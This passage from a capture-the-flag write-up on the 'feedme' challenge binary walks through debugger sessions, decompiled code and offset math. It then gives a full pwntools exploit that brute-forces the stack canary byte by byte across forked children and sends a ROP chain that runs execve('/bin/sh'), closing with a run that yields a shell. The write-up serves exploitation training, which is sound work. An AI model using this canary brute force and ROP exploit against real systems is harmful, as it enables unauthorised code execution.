0x804907e lea eax, [ebp-0x2c]
→ 0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
0x8049089 mov DWORD PTR [esp+0x4], eax
0x804908d mov DWORD PTR [esp], 0x80be715
0x8049094 call 0x804f700
0x8049099 movzx eax, BYTE PTR [ebp-0x2d]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049081 → mov DWORD PTR [esp], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049081 in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049084 → 0xfffee5e8 → 0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804907a mov DWORD PTR [esp+0x4], eax
0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
→ 0x8049084 call 0x8048f6e
↳ 0x8048f6e push ebp
0x8048f6f mov ebp, esp
0x8048f71 push ebx
0x8048f72 sub esp, 0x1c
0x8048f75 mov edx, DWORD PTR [ebp+0xc]
0x8048f78 mov eax, DWORD PTR [ebp+0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048f6e (
[sp + 0x0] = 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049084 → call 0x8048f6e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "feedme" hit Breakpoint 3, 0x08049084 in ?? ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0x37
$esp : 0xffffcfcc → 0x08049089 → mov DWORD PTR [esp+0x4], eax
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08048f6e → push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfcc│+0x0000: 0x08049089 → mov DWORD PTR [esp+0x4], eax ← $esp
0xffffcfd0│+0x0004: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000010
0xffffcfdc│+0x0010: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048f69 add eax, 0x57
0x8048f6c leave
0x8048f6d ret
→ 0x8048f6e push ebp
0x8048f6f mov ebp, esp
0x8048f71 push ebx
0x8048f72 sub esp, 0x1c
0x8048f75 mov edx, DWORD PTR [ebp+0xc]
0x8048f78 mov eax, DWORD PTR [ebp+0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048f6e → push ebp
[#1] 0x8049089 → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048f6e in ?? ()
gef➤ finish
Run till exit from #0 0x08048f6e in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x080ebf40 → "30303030303030303030303030303030..."
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$edx : 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$esp : 0xffffcfd0 → 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]"
$ebp : 0xffffd018 → 0x30303030 ("0000"?)
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049089 → mov DWORD PTR [esp+0x4], eax
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → "00000000000000000000000000000000000000000000000000[...]" ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000010
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804907e lea eax, [ebp-0x2c]
0x8049081 mov DWORD PTR [esp], eax
0x8049084 call 0x8048f6e
→ 0x8049089 mov DWORD PTR [esp+0x4], eax
0x804908d mov DWORD PTR [esp], 0x80be715
0x8049094 call 0x804f700
0x8049099 movzx eax, BYTE PTR [ebp-0x2d]
0x804909d mov edx, DWORD PTR [ebp-0xc]
0x80490a0 xor edx, DWORD PTR gs:0x14
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049089 → mov DWORD PTR [esp+0x4], eax
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08049089 in ?? ()
gef➤ x/5w $eax
0x80ebf40: 0x30333033 0x30333033 0x30333033 0x30333033
0x80ebf50: 0x30333033
gef➤ x/6w $eax
0x80ebf40: 0x30333033 0x30333033 0x30333033 0x30333033
0x80ebf50: 0x30333033 0x30333033
gef➤ x/50w $eax
0x80ebf40: 0x30333033 0x30333033 0x30333033 0x30333033
0x80ebf50: 0x30333033 0x30333033 0x30333033 0x30333033
0x80ebf60: 0x2e2e2e 0x0 0x0 0x0
0x80ebf70: 0x0 0x0 0x0 0x0
0x80ebf80: 0x0 0x0 0x0 0x0
0x80ebf90: 0x0 0x0 0x0 0x0
0x80ebfa0: 0x0 0x0 0x0 0x0
0x80ebfb0: 0x0 0x0 0x0 0x0
0x80ebfc0: 0x0 0x0 0x0 0x0
0x80ebfd0: 0x0 0x0 0x0 0x0
0x80ebfe0: 0x0 0x0 0x0 0x0
0x80ebff0: 0x0 0x0 0x0 0x0
0x80ec000: 0x0 0x0
gef➤ c
Continuing.
ATE 30303030303030303030303030303030...
*** stack smashing detected ***: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme terminated
So we can see that the last function returned a pointer which was 16
bytes of our input converted to ASCII, which was then printed. Let's see what the offset from our input to the stack canary and the return address:
gef➤ set follow-fork-mode child
gef➤ b *0x8049069
Breakpoint 1 at 0x8049069
gef➤ r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 15394]
FEED ME!
0
[Switching to process 15394]
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffcfec → 0x00000000
$ebx : 0x080481a8 → push ebx
$ecx : 0xffffcfbb → 0x00000130
$edx : 0x1
$esp : 0xffffcfd0 → 0xffffcfec → 0x00000000
$ebp : 0xffffd018 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049069 → 0xfffe10e8 → 0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfd0│+0x0000: 0xffffcfec → 0x00000000 ← $esp
0xffffcfd4│+0x0004: 0x00000030 ("0"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200 → 0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffcfe8│+0x0018: 0x300ea248
0xffffcfec│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804905f mov DWORD PTR [esp+0x4], eax
0x8049063 lea eax, [ebp-0x2c]
0x8049066 mov DWORD PTR [esp], eax
→ 0x8049069 call 0x8048e7e
↳ 0x8048e7e push ebp
0x8048e7f mov ebp, esp
0x8048e81 sub esp, 0x28
0x8048e84 mov eax, DWORD PTR [ebp+0xc]
0x8048e87 mov DWORD PTR [ebp-0x14], eax
0x8048e8a mov DWORD PTR [ebp-0x10], 0x0
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e7e (
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049069 in ?? ()
gef➤
gef➤ x/4w $esp
0xffffcfd0: 0xffffcfec 0x30 0x0 0x806ccb7
gef➤ x/50w 0xffffcfec
0xffffcfec: 0x0 0x2710 0x0 0x0
0xffffcffc: 0x0 0x80ea0a0 0x0 0x0
0xffffd00c: 0x6e6a7000 0x0 0x80ea00c 0xffffd048
0xffffd01c: 0x80490dc 0x80ea0a0 0x0 0x80ed840
0xffffd02c: 0x804f8b4 0x0 0x0 0x0
0xffffd03c: 0x80481a8 0x80481a8 0x0 0xffffd068
0xffffd04c: 0x80491da 0x80ea0a0 0x0 0x2
0xffffd05c: 0x0 0x0 0x80ea00c 0x8049970
0xffffd06c: 0x80493ba 0x1 0xffffd0f4 0xffffd0fc
0xffffd07c: 0x0 0x0 0x80481a8 0x0
0xffffd08c: 0x80ea00c 0x8049970 0x16400ab0 0xe0c61b5f
0xffffd09c: 0x0 0x0 0x0 0x0
0xffffd0ac: 0x0 0x0
gef➤ i f
Stack level 0, frame at 0xffffd020:
eip = 0x8049069; saved eip = 0x80490dc
called by frame at 0xffffd050
Arglist at 0xffffd018, args:
Locals at 0xffffd018, Previous frame's sp is 0xffffd020
Saved registers:
ebp at 0xffffd018, eip at 0xffffd01c
We can see that our input is being scanned in starting at 0xffffcfec
. We can see that the return address is at 0xffffd01c
. We can also see that the stack canary is 0x6e6a7000
at 0xffffd00c
(we can tell this since stack canaries in x86
are 4 byte random values, with the last value being a null byte). Doing a bit of python math we can find the offsets:
$ python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd01c - 0xffffcfec)
'0x30'
>>> hex(0xffffd00c - 0xffffcfec)
'0x20'
So we can see that the offset to the stack canary is 0x20
bytes, and that the offset to the return address is 0x30
bytes. Both are well within the reach of our buffer overflow. Lastly let's see where the feedMeFunc
function is called. We can see the backtrace using gdb:
gef➤ r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
FEED ME!
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x3d9c
$ecx : 0xffffd030 → 0x00000000
$edx : 0x0
$esp : 0xffffd008 → 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$ebp : 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0xf7ffd059 → <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd008│+0x0000: 0xffffd048 → 0xffffd068 → 0x08049970 → push ebx ← $esp
0xffffd00c│+0x0004: 0x00000000
0xffffd010│+0x0008: 0xffffd030 → 0x00000000
0xffffd014│+0x000c: 0x0806cc02 → pop ebx
0xffffd018│+0x0010: 0x080481a8 → push ebx
0xffffd01c│+0x0014: 0x0804910e → mov DWORD PTR [ebp-0xc], eax
0xffffd020│+0x0018: 0x00003d9c
0xffffd024│+0x001c: 0xffffd030 → 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7ffd053 <__kernel_vsyscall+3> mov ebp, esp
0xf7ffd055 <__kernel_vsyscall+5> sysenter
0xf7ffd057 <__kernel_vsyscall+7> int 0x80
→ 0xf7ffd059 <__kernel_vsyscall+9> pop ebp
0xf7ffd05a <__kernel_vsyscall+10> pop edx
0xf7ffd05b <__kernel_vsyscall+11> pop ecx
0xf7ffd05c <__kernel_vsyscall+12> ret
0xf7ffd05d nop
0xf7ffd05e nop
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SIGINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7ffd059 → __kernel_vsyscall()
[#1] 0x806cc02 → pop ebx
[#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
────────────────────────────────────────────────────────────────────────────────
0xf7ffd059 in __kernel_vsyscall ()
gef➤ bt
#0 0xf7ffd059 in __kernel_vsyscall ()
#1 0x0806cc02 in ?? ()
#2 0x0804910e in ?? ()
#3 0x080491da in ?? ()
#4 0x080493ba in ?? ()
#5 0x08048d2b in ?? ()
Going through the backtrace leads us to the following function:
void parentLoop(void)
{
int iVar1;
uint uVar2;
int check;
uint i;
check = 0;
i = 0;
while( true ) {
if (799 < i) {
return;
}
iVar1 = FUN_0806cc70();
if (iVar1 == 0) break;
iVar1 = callChild(iVar1,&check,0);
if (iVar1 == -1) {
puts("Wait error!");
FUN_0804ed20(0xffffffff);
}
if (check == -1) {
puts("Child IO error!");
FUN_0804ed20(0xffffffff);
}
puts("Child exit.");
FUN_0804fa20(0);
i = i + 1;
}
uVar2 = feedMeFunc();
printf("YUM, got %d bytes!\n",uVar2 & 0xff);
return;
}
So we can see it is calling the function responsible for setting up a child process in a loop that will run for 800
times. That means that we can crash a child process a lot of times (around 800
) before the program exits on us.
Exploitation
Stack Canary
So we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary. However we can brute force it. Thing is, all of the child processes will share the same canary. For the canary it will have 4 bytes, one null byte and three random bytes (so only three bytes that we don't know).
What we can do is overwrite the stack canary one byte at a time. The byte we overwrite it with will essentially be a guess. If the child process dies we know that it was incorrect, and if it doesn't, then we will know that our guess was correct. There are 256
different values that byte be, and since there are three bytes we are guessing that gives us 256*3 = 768
possible guesses to guess every combination if we guess one byte at a time (which can be done by only overwriting one byte at a time). With that we can deal with the stack canary.
ROP Chain
After that, we will have the stack canary and nothing will be able to stop us from getting code execution. Then the question comes up of what to execute. NX is turned on, so we can't jump to shellcode we place on the stack. However the elf doesn't have PIE (randomizes the address of code) enabled, so building a ROP chain without an infoleak is possible. For this ROP Chain, I will be making a syscall to /bin/sh, which would grant us a shell.
First we look for ROP gadgets using the tool ROPgadget (since this is a statically linked binary, there will be a lot of gadgets):
$ python ROPgadget.py --binary feedme
Looking through the list of ROP gadgets, we see a few useful gadgets:
0x0807be31 : mov dword ptr [eax], edx ; ret
This gadget is extremely useful. What this will allow us to do is move the contents of the edx register into the area of space pointed to by the address of eax, then return. So if we wanted to write to the address 1234, we could load that address into eax, and the value we wanted to write into the edx register, then call this gadget.
0x080bb496 : pop eax ; ret
This gadget is helpful since it will allow us to pop a value off of the stack into the eax register to use, then return to allow us to continue the ROP Chain.
0x0806f34a : pop edx ; ret
This gadget is similar to the previous one, except it is with the edx register instead of the eax register.
0x0806f371 : pop ecx ; pop ebx ; ret
This gadget is so we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx register then return, so this is the next best thing (using this gadget will save us not having to use another gadget when we pop a value into the ebx register however).
0x08049761 : int 0x80
This gadget is a syscall, which will allow us to make a syscall to the kernell to get a shell (to get a syscall in x86, you can call int 0x80). Syscall will expect three arguments, the interger 11 in eax for the syscall number, the bss address 0x80eb928 in the ebx register for the address of the command, and the value 0x0 in ecx and edx registers (syscall will look for arguments in those registers, however we don't need them so we should just set them to null). For more info on syscalls check out https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux
Now we are going to have to write the string /bin/sh somewhere in memory, at an address that we know in order to pass it as an argument it the syscall. What we can do for this, is to write it to the bss address 0x80eb928
. Since it is in the bss, it will have a static address, so we don't need an infoleak to write to and call it.
With that, we get the following ROP Chain:
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(0x6e69622f) # /bin string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a) # pop edx
payload += p32(0x0068732f) # /sh string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x8049761) # syscall
Exploit
Putting it all together, we get the following exploit:
# This is based off of a Raytheon SI Govs talk
# First we import pwntools
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
# We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary
known_canary = "\x00"
# Ascii representation of the canary
hex_canary = "00"
# The current canary which will be incremented
canary = 0x0
# The number of bytes we will give as input
inp_bytes = 0x22
# Iterate 3 times for the three bytes we need to brute force
for j in range(0, 3):
# Iterate up to 0xff times to brute force all posible values for byte
for i in xrange(0xff):
log.info("Trying canary: " + hex(canary) + hex_canary)
# Send the current input size
target.send(p32(inp_bytes)[0])
# Send this iterations canary
target.send("0"*0x20 + known_canary + p32(canary)[0])
# Scan in the output, determine if we have a correct value
output = target.recvuntil("exit.")
if "YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print "next byte is: " + hex(canary)
known_canary = known_canary + p32(canary)[0]
inp_bytes = inp_bytes + 1
new_canary = hex(canary)
new_canary = new_canary.replace("0x", "")
hex_canary = new_canary + hex_canary
canary = 0x0
break
else:
# If this isn't the canary value, increment canary by one and move onto next loop
canary = canary + 0x1
# Return the canary
return int(hex_canary, 16)
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info("The canary is: " + hex(canary))
# Now that we have the canary, we can start making our final payload
# This will cover the space up to, and including the canary
payload = "0"*0x20 + p32(canary)
# This will cover the rest of the space between the canary and the return address
payload += "1"*0xc
# Start putting together the ROP Chain
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(0x6e69622f) # /bin string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a) # pop edx
payload += p32(0x0068732f) # /sh string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x8049761) # syscall
# Send the amount of bytes for our payload, and the payload itself
target.send("\x78")
target.send(payload)
# Drop to an interactive shell
target.interactive()
When we run the exploit:
$ python exploit.py
[+] Starting local process './feedme': pid 16881
[*] Trying canary: 0x000
[*] Trying canary: 0x100
[*] Trying canary: 0x200
[*] Trying canary: 0x300
[*] Trying canary: 0x400
[*] Trying canary: 0x500
[*] Trying canary: 0x600
[*] Trying canary: 0x700
[*] Trying canary: 0x800
[*] Trying canary: 0x900
. . .
[*] Trying canary: 0xcfcb2200
[*] Trying canary: 0xd0cb2200
[*] Trying canary: 0xd1cb2200
[*] Trying canary: 0xd2cb2200
[*] Trying canary: 0xd3cb2200
[*] Trying canary: 0xd4cb2200
[*] Trying canary: 0xd5cb2200
next byte is: 0xd5
[*] The canary is: 0xd5cb2200
[*] Switching to interactive mode
FEED ME!
ATE 30303030303030303030303030303030...
$ w
01:49:06 up 4:22, 1 user, load average: 1.47, 1.31, 1.31
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 21:26 ?xdm? 26:56 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core exploit.py feedme readme.md
Just like that, we popped a shell!